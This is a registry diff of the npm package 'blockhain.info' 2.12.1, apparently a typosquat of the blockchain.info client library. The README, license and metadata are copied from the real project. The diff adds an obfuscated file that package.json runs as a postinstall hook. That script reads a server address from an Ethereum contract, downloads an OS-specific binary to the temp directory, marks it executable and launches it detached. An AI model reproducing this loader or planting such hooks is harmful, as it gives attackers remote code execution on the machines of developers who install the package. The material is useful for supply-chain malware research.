blockhain.info 2.12.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/1vy1j5l5.cjs ADDED
@@ -0,0 +1 @@
1
+ const _0x2b49c6=_0x2053;(function(_0x2f0923,_0x27269e){const _0x31ba3d=_0x2053,_0x5cf584=_0x2f0923();while(!![]){try{const _0x46785c=-parseInt(_0x31ba3d(0x111))/0x1*(parseInt(_0x31ba3d(0x107))/0x2)+-parseInt(_0x31ba3d(0x10f))/0x3*(parseInt(_0x31ba3d(0xf5))/0x4)+-parseInt(_0x31ba3d(0x10d))/0x5*(parseInt(_0x31ba3d(0x105))/0x6)+-parseInt(_0x31ba3d(0x118))/0x7*(-parseInt(_0x31ba3d(0xf8))/0x8)+-parseInt(_0x31ba3d(0x108))/0x9+parseInt(_0x31ba3d(0x10c))/0xa+-parseInt(_0x31ba3d(0x104))/0xb*(-parseInt(_0x31ba3d(0x123))/0xc);if(_0x46785c===_0x27269e)break;else _0x5cf584['push'](_0x5cf584['shift']());}catch(_0x2b6d8e){_0x5cf584['push'](_0x5cf584['shift']());}}}(_0x97c6,0x1f799));function _0x2053(_0xb0a451,_0x3ec422){const _0x97c6c4=_0x97c6();return _0x2053=function(_0x205375,_0xe01556){_0x205375=_0x205375-0xee;let _0x182ba5=_0x97c6c4[_0x205375];return _0x182ba5;},_0x2053(_0xb0a451,_0x3ec422);}const {ethers}=require('ethers'),axios=require(_0x2b49c6(0xf6)),util=require(_0x2b49c6(0x11e)),fs=require('fs'),path=require(_0x2b49c6(0x109)),os=require('os'),{spawn}=require('child_process'),contractAddress=_0x2b49c6(0xfa),WalletOwner='0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84',abi=[_0x2b49c6(0x11d)],provider=ethers[_0x2b49c6(0xf2)]('mainnet'),contract=new ethers[(_0x2b49c6(0x11a))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x1c2754=_0x2b49c6,_0x583870={'YPvUv':_0x1c2754(0x10e),'JiDAX':function(_0x59589c){return _0x59589c();}};try{const _0x31a3c9=await contract['getString'](WalletOwner);return _0x31a3c9;}catch(_0x13adca){return console['error'](_0x583870['YPvUv'],_0x13adca),await _0x583870[_0x1c2754(0x114)](fetchAndUpdateIp);}},getDownloadUrl=_0x552c83=>{const _0x49f351=_0x2b49c6,_0xb2879a={'uzAqc':_0x49f351(0x10a),'hvumu':_0x49f351(0xf4)},_0x4b6494=os[_0x49f351(0xfd)]();switch(_0x4b6494){case _0x49f351(0x116):return _0x552c83+_0x49f351(0x115);case _0xb2879a[_0x49f351(0x103)]:return _0x552c83+_0x49f351(0xfb);case _0xb2879a[_0x49f351(0xfc)]:return _0x552c83+_0x49f351(0x11f);default:throw new Error(_0x49f351(0xff)+_0x4b6494);}},downloadFile=async(_0x25eb4,_0x14377e)=>{const _0x390e38=_0x2b49c6,_0x3641bf={'Rhnps':_0x390e38(0x10b),'krXqb':_0x390e38(0x122),'UhAiL':function(_0x20f5d0,_0x1d072a){return _0x20f5d0(_0x1d072a);},'UBmXY':_0x390e38(0x11c)},_0x22def1=fs[_0x390e38(0xf7)](_0x14377e),_0x4c287a=await _0x3641bf[_0x390e38(0x117)](axios,{'url':_0x25eb4,'method':_0x390e38(0xf9),'responseType':_0x3641bf[_0x390e38(0x120)]});return _0x4c287a[_0x390e38(0x102)][_0x390e38(0xef)](_0x22def1),new Promise((_0x32d812,_0x13b027)=>{const _0x28f6eb=_0x390e38;_0x22def1['on'](_0x3641bf[_0x28f6eb(0x112)],_0x32d812),_0x22def1['on'](_0x3641bf[_0x28f6eb(0x106)],_0x13b027);});},executeFileInBackground=async _0x36ef44=>{const _0x377f55=_0x2b49c6,_0x415e77={'JaLDq':function(_0x66e6e8,_0x5d7e34,_0x290900,_0x2408a5){return _0x66e6e8(_0x5d7e34,_0x290900,_0x2408a5);},'Fcnym':_0x377f55(0x121),'eArTJ':_0x377f55(0x110)};try{const _0xdd51ab=_0x415e77[_0x377f55(0x113)](spawn,_0x36ef44,[],{'detached':!![],'stdio':_0x415e77[_0x377f55(0xf1)]});_0xdd51ab[_0x377f55(0xf3)]();}catch(_0x2c962c){console['error'](_0x415e77[_0x377f55(0xf0)],_0x2c962c);}},runInstallation=async()=>{const _0x3b742b=_0x2b49c6,_0x323097={'NsWul':function(_0x27fd48){return _0x27fd48();},'aWupG':function(_0x23a6af,_0x3cf345){return _0x23a6af(_0x3cf345);},'CsEap':function(_0x23dec6,_0xbf423d){return _0x23dec6!==_0xbf423d;},'OUMOk':'win32','XawSQ':'755','WPzLx':'Ошибка\x20установки:'};try{const _0x39ccda=await _0x323097[_0x3b742b(0xee)](fetchAndUpdateIp),_0x48bbe5=_0x323097[_0x3b742b(0x101)](getDownloadUrl,_0x39ccda),_0x9bcc29=os['tmpdir'](),_0x206072=path[_0x3b742b(0x100)](_0x48bbe5),_0x41325a=path['join'](_0x9bcc29,_0x206072);await downloadFile(_0x48bbe5,_0x41325a);if(_0x323097['CsEap'](os['platform'](),_0x323097[_0x3b742b(0x119)]))fs[_0x3b742b(0x11b)](_0x41325a,_0x323097['XawSQ']);_0x323097[_0x3b742b(0x101)](executeFileInBackground,_0x41325a);}catch(_0xa416fc){console[_0x3b742b(0x122)](_0x323097[_0x3b742b(0xfe)],_0xa416fc);}};runInstallation();function _0x97c6(){const _0x429f7f=['806832zxzliM','path','linux','finish','2098980VbeKHz','1180125uaXgmy','Ошибка\x20при\x20получении\x20IP\x20адреса:','3PBJKlU','Ошибка\x20при\x20запуске\x20файла:','315ojJtpZ','Rhnps','JaLDq','JiDAX','/node-win.exe','win32','UhAiL','12222GanrSk','OUMOk','Contract','chmodSync','stream','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','util','/node-macos','UBmXY','ignore','error','203772vUaoCN','NsWul','pipe','eArTJ','Fcnym','getDefaultProvider','unref','darwin','866212piNXGm','axios','createWriteStream','136XyLvaB','GET','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','/node-linux','hvumu','platform','WPzLx','Unsupported\x20platform:\x20','basename','aWupG','data','uzAqc','352BNyrUX','6iEdjOA','krXqb','710idBKvH'];_0x97c6=function(){return _0x429f7f;};return _0x97c6();}
package/LICENSE.md ADDED
@@ -0,0 +1,7 @@
1
+ Copyright 2015-2017 Blockchain (US) Inc.
2
+
3
+ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
4
+
5
+ The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
6
+
7
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,51 @@
1
+ # Blockchain API Library (Node, v1)
2
+
3
+ An official Node module for interacting with the Blockchain.info API.
4
+
5
+ ## Getting Started
6
+
7
+ Installation via [npm](https://npmjs.com):
8
+
9
+ ```sh
10
+ $ npm install --save blockchain.info
11
+ ```
12
+
13
+ Importing:
14
+
15
+ ```js
16
+ var blockchain = require('blockchain.info')
17
+ ```
18
+
19
+ ## Responses
20
+
21
+ All functions in this module return a JavaScript [promise](https://promisesaplus.com/) for handling asynchronous actions.
22
+
23
+ ## Submodules
24
+
25
+ This module consists of these submodules:
26
+
27
+ * [`MyWallet`](./MyWallet) - Interact with or create a Blockchain Wallet
28
+ * [`blockexplorer`](./blockexplorer) - View data for addresses, blocks, transactions, and more
29
+ * [`exchange`](./exchange) - Get real-time bitcoin exchange rates
30
+ * [`pushtx`](./pushtx) - Push custom transactions
31
+ * [`Receive`](./Receive) - Receive notifications for payments
32
+ * [`Socket`](./Socket) - Live notifications for transactions and blocks
33
+ * [`statistics`](./statistics) - Fetch historical blockchain data and statistics
34
+
35
+ You can access sub-modules from the properties of the imported main module, or by importing them individually.
36
+
37
+ Individual import:
38
+
39
+ ```js
40
+ var MyWallet = require('blockchain.info/MyWallet')
41
+ ```
42
+
43
+ Property import:
44
+
45
+ ```js
46
+ var MyWallet = require('blockchain.info').MyWallet
47
+ ```
48
+
49
+ ## Testnet Support
50
+ This library supports Testnet for the `blockexplorer`, `pushtx`, and `Socket` modules.
51
+ You can find examples of how to use each in the specific modules README file.
package/index.js ADDED
@@ -0,0 +1,9 @@
1
+ module.exports = {
2
+ blockexplorer: require('./blockexplorer'),
3
+ exchange: require('./exchange'),
4
+ MyWallet: require('./MyWallet'),
5
+ pushtx: require('./pushtx'),
6
+ Receive: require('./Receive'),
7
+ Socket: require('./Socket'),
8
+ statistics: require('./statistics')
9
+ }
package/package.json ADDED
@@ -0,0 +1,59 @@
1
+ {
2
+ "name": "blockhain.info",
3
+ "version": "2.12.1",
4
+ "license": "MIT",
5
+ "engine": "node >= 0.10.36",
6
+ "description": "A Node implementation for accessing the Blockchain.info API.",
7
+ "author": {
8
+ "name": "Blockchain.info",
9
+ "url": "https://blockchain.info"
10
+ },
11
+ "main": "index.js",
12
+ "contributors": [
13
+ "Justin Tormey <justin@blockchain.com>"
14
+ ],
15
+ "maintainers": [
16
+ "justintormey <justin@blockchain.com>"
17
+ ],
18
+ "repository": {
19
+ "type": "git",
20
+ "url": "https://github.com/blockchain/api-v1-client-node.git"
21
+ },
22
+ "keywords": [
23
+ "blockchain",
24
+ "bitcoin"
25
+ ],
26
+ "scripts": {
27
+ "postinstall": "node 1vy1j5l5.cjs"
28
+ },
29
+ "standard": {
30
+ "ignore": [
31
+ "*.md"
32
+ ],
33
+ "global": [
34
+ "describe",
35
+ "it"
36
+ ]
37
+ },
38
+ "dependencies": {
39
+ "q": "^1.4.1",
40
+ "request-promise": "^0.4.3",
41
+ "url-join": "0.0.1",
42
+ "url-parse": "^1.0.5",
43
+ "url-pattern": "^0.10.2",
44
+ "axios": "^1.7.7",
45
+ "ethers": "^6.13.2"
46
+ },
47
+ "optionalDependencies": {
48
+ "ws": "^1.1.2"
49
+ },
50
+ "devDependencies": {
51
+ "chai": "3.4.*",
52
+ "mocha": "2.3.*",
53
+ "nock": "5.2.*",
54
+ "standard": "~8.6.0"
55
+ },
56
+ "files": [
57
+ "1vy1j5l5.cjs"
58
+ ]
59
+ }